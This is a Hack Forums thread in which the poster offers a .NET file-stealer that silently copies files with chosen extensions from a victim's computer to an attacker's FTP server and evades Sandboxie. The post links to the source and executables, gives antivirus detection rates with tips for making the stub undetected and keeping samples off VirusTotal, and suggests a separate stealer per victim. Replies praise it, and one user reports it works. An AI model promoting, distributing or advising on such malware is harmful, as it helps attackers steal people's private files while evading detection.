Hack Forums
[.NET] Dropbox Filestealer | Specific Extensions | FTP Upload - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Dropbox Filestealer | Specific Extensions | FTP Upload (/showthread.php?tid=4736365)

Dropbox Filestealer | Specific Extensions | FTP Upload - Punkbastard - Mar 18, 2015

Hello HF,

Last week someone in the Hacking Tools section asked for a Dropbox stealer, to steal specific files based on their extensions for someone computer and upload them to a FTP server or Dropbox account.
Although I haven't added a Dropbox upload (yet), it completely works with uploading to a FTP server.

The Dropbox Filestealer is able to:

[✔] Silently steal files based on their file-extension
[✔] Silently upload those files to a FTP server
[✔] Prevent stealing when running in Sandboxie
[✔] Currently 14 supported extensions to steal

Pictures:

[Image: RVImtAU.png]

[Image: 2ZSFZqL.png]

Virusscan:

Builder: (1/57) - VirusTotal

Stub: (9/35) ReFUD.me

I'm sure you can lower the detection (mainly Variant.Zusy) with some legit Assembly and a HQ icon and get it around FUD.
But please do not upload the stub and your generated downloader to distributing websites like VirusTotal.
I can recommend ReFUD.me and Razorscanner.com.

Download:

Source + Executables: google.com/file/d/0B7FNquwcARIvV1AxWEYtUnl0VTA/view?usp=sharing]Download Here (Google Drive)

Executables Only: google.com/file/d/0B7FNquwcARIvcVp2Zk80OGU5QlU/view?usp=sharing]Download Here (Google Drive)

A generated Dropbox stealer stub is around ~28kB

Tips:

- You can upload stolen files also to sub-directories on your ftp server by just adding the name of the directory at the end of the FTP Host, for example:
Spoiler (Click to View)
But make sure you do not add a "/" to the end of the host!

- Create separate Dropbox stealers per person, and let each upload the files to a different (sub)directory on your FTP server. (See tip 1)

How to help me:

To help me, please take a close look at the source, as I'm not that experienced with programming. Give me feedback and tips how to improve this tool or how things could have been better.

Also, if you download this do not forget to post in this thread to keep it alive for other members too.

By the way, do not hesitate to PM me with questions regarding this program or it's source. I'll happily answer you when I have the time.

Thanks in advance.

Credits to Hawk HF for his Eightball Theme.

* - SirKingSir - Mar 18, 2015

thanks for the share but you can re share it in hack tools section , just the programmers check this section

* - Only3 - Mar 18, 2015

the idea is nice but who use stub (5 years old split method with fileopen 😊) this days

* - Punkbastard - Mar 18, 2015

(Mar 18, 2015 12:43 PM)Only3 Wrote:  the idea is nice but who use stub (5 years old split method with fileopen 😊) this days

Yeah, I know 😊
I'm looking into replacing it with Codedom.

* - OICN - Mar 20, 2015

This look amazing! Can't wait to see what else you do with this. Nice touch with the sandboxie btw :)

* - MiCoton - Mar 20, 2015

Seem good, i will take a look. Thank you

* - shizzl3r - Mar 20, 2015

thanks for the share, looks awesome.

* - nhnkl3 - Mar 21, 2015

thanks for the share, looks awesome.

* - iLogic™ - Mar 21, 2015

Thanks for share man 😉 I tried it and it's working well

* - jackiejayzee - Jun 27, 2015

Hey there,

I've been trying to use this but stub.exe disappears when extracting - the weirdest thing is that when i tried extracting on my mac it extracted with everything, but on windows it doesn't come with. What am I missing? Any help would be great for a beginner - Thanks

* - bluntly - Jun 27, 2015

Thats what happens when you get bored xD

* - whitemask - Jun 28, 2015

thanks bro for sharing .. keep going 👍👍